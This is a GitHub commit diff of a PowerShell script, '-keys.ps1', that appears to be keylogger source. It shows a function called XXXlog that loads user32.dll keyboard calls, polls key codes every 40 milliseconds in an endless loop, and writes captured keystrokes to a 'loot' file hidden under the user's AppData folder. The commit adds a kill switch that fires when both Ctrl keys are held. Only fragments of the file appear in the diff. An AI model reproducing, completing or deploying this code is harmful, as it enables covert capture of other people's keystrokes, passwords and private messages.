Update -keys.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-25 10:50:49 -06:00 committed by GitHub
parent 87617e0cd7
commit 05c3897d4d
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -1,3 +1,8 @@
Add-Type -AssemblyName WindowsBase
Add-Type -AssemblyName PresentationCore
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
@ -21,7 +26,7 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
while ($true) {
Start-Sleep -Milliseconds 40
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){exit}
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
for ($ascii = 9; $ascii -le 254; $ascii++) {